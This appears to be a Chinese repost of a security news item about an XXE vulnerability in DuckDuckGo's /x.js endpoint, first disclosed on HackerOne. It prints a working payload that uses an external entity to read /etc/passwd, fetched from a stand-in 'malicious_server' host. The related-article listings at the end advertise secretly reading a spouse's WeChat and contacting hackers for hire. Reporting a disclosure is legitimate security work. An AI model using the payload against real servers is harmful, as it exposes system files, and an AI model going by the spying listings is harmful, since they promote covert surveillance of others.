DuckDuckGo搜索引擎的XXE漏洞_微软

访客3年前黑客文章520

近期,白帽汇安全研究院发现hackerone网站披露了DuckDuckGo搜索引擎的一个XXE漏洞。

DuckDuckGo是一个出现于2011年的互联网搜索引擎,其总部位于美国宾夕法尼亚州。和传统搜索引擎(谷歌,必应等)相比,DuckDuckGo着重保护用户的隐私,不监控、不记录用户的搜索内容,还会自动处理用户发出HTTP请求中的敏感信息(如Referer头),尽量减少第三方能获取的信息。

漏洞详情

漏洞发现者在浏览测试https://duckduckgo.com网站时,发现在路径/x.js中的参数?u存在XXE注入。

只要输入一个远程的xm l资源http://malicious_server/xxe.xml,服务器就会解析并执行,并返回一个输出。

而且网站对xm l代码没有任何控制,所以攻击者可以引入一些恶意xm l代码,对服务器进行攻击。

具体步骤如下

1.攻击者在他所控制的服务器中放上一个恶意xml文件,并对公网开放,文件内容如下。

<?xm l version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>

2.直接访问链接https://duckduckgo.com/x.js?u=http://malicious_server/xxe.xml

3.返回的页面可以看到xm l文件解析结果

标签: 好话题

相关文章

怎样同时接收老公微信(用自己的手机如何查老公微信)_老公微信

怎样同时接收老公微信(用自己的手机如何查老公微信),当今能够说,人们互相交换的方法越来越高。人们险些能够随时随地经历微信、QQ和其余应用法式接洽同事或亲戚。既然这个APP的操纵方法这么多,咱们有无办理...

2020企业主如何低成本通过 网络推广新增客户6种模式_自媒体

1,选择了自媒体推广模式的企业如何降低成本,增加效率? 答: ①,取个好名字!有些名字天生就自带流量,有个做app开发的公司,公众号名字直接就叫“app开发团队”。然后有人在微信上搜索app开发团队的...

怎么查看老公已经删除的微信聊天记录 如何恢复不小心删除的微信聊天记录

怎么查看老公已经删除的微信聊天记录 如何恢复不小心删除的微信聊天记录 (原标题:百度花了十亿打造的春晚红包活动,外链立马就被微信封杀) 每到过年期间大家可能才会端坐在电视机面前好好地看上一会电...

黑客联系方式怎么能找到黑客(私人黑客联系方式)_黑客联系方式

黑客联系方式怎么能找到黑客(私人黑客联系方式),职业盘问微信纪录,室友消息盘问和通话纪录最靠得住!找我的iPhone“是苹果手机供应的一项功效,能够经历网络定位手机的地位,用户能够经历它来跟踪手机的地...

手机触屏失灵怎么办

手机触屏失灵怎么办...

电脑同步微信不被发现

目前有越来越多的人习惯用微信去办公,但是人们比较喜欢的一种办公方式还是用电脑,毕竟在上班时间你不可能一直以来都是用手机去完成吧?当我们手机收到文档的时候就应该同步到电脑微信,那电脑同步微信不被发现怎么...